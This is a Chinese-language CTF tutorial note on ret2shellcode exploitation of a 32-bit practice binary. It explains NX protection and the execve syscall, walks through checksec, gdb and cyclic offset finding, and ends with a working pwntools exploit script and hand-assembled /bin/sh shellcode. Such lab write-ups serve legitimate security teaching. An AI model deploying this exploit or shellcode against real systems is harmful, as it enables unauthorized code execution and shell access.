目录
ret2text漏洞依赖于程序中存在system(“/bin/sh”)的函数
若没有此函数,可以传入自定义shellcode
//shellcode是黑客编写的用于实行特定功能的汇编代码,例如:execve(“/bin/sh”,null,null);
Ret2Shellcode条件:1.无执行shell的函数
2.没有开启NX保护
Ret2libc条件:1.开启NX
2.使用libc函数:leak libc + ROP
linux系统调用:
系统调用号目录:/usr/include/x86_64-linux-gnu/asm/unistd_32.h
11号execve能帮我们执行任意的shell
参数为execve所需的参数
当系统执行到int 0x80时,会跳转到execve(因为在eax中)
获取shellcode两种方式:
1.手写
(1)想办法调用execve(“/bin/sh”,null,null);
(2)传入字符串/bin///sh
(3)系统调用execve
eax = 11
ebx = bin_sh_addr(参数一)
ecx = 0(参数二)
edx = 0(参数三)
2.pwntools自动生成
(1)先指定context.arch = "i386/amd64"
(2)asm(自定义shellcode)或 asm(shellcraft.sh())
(3)自动生成shellcode
NX保护:
又称DEP,数据执行保护:可写的不可执行,可执行的不可写
例:
拿到文件
1.checksec xxx
发现无NX,无canary保护,可以考虑用ret2text或ret2shellcode
2.查看是否有系统函数system(“/bin/sh”);
objdump -d -xxx |grep system //-d显示汇编
发现什么都没找到,只能用ret2shellcode
3.gdb xxx
(示例用的pwndbg)
disass main //看一下main函数
看一下:
又看到了gets函数
分析可知,参数来源于 esp+0x1c
又看到了strncpy函数
分析可知,拷贝0x64个字节,参数来自于 esp+0x1c,拷贝到0x804a080
思路:
两个参数都来自于esp+0x1c,可以利用gets收到shellcode放入esp+0x1c,顺便覆盖返回地址为0x804a080,然后利用strncpy函数,将shellcode拷贝到0x804a080,这样返回时就返回到了shellcode。
4.查看一下要拷贝的那个地址所在的段要没有执行权限
/*因为vmmap直接显示了地址,所以以下步骤不需要
查看要拷贝的那个地址所在的段
gdb(peda):readelf 文件名
shell:readelf -S 文件名(注意大小写,一定是大S)
找到0x804a080(找到了 .bss 0x804a040,0x804a080应该属于这个段)
*/
打开gdb,下断点运行
vmmap
找到0x804a080,有x(执行)权限
5.找到偏移量
pwndbg
cyclic 200
复制
r
粘贴
程序崩溃,给出报错地址
cyclic -l 报错地址
得到偏移112
6.exp
from pwn import *
context(arch = "i386",os = "linux",log_level = "debug") //因为涉及到了shellcode,需要指定环境为32位,影响下面生成的shellcode;下划线内容可不带
p = process("./ret2shellcode")
shellcode = asm(shellcraft.sh()) //生成了shellcode,但不确定长度,要将长度确定为112
payload = shellcode.ljust(112,'A') + p32(0x804a080) //ljust(112,'A')使shellcode长度确定为112,不够112用A填充
p.sendline(payload)
p.interactive()
试试手写汇编:
shellcode = asm("""
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")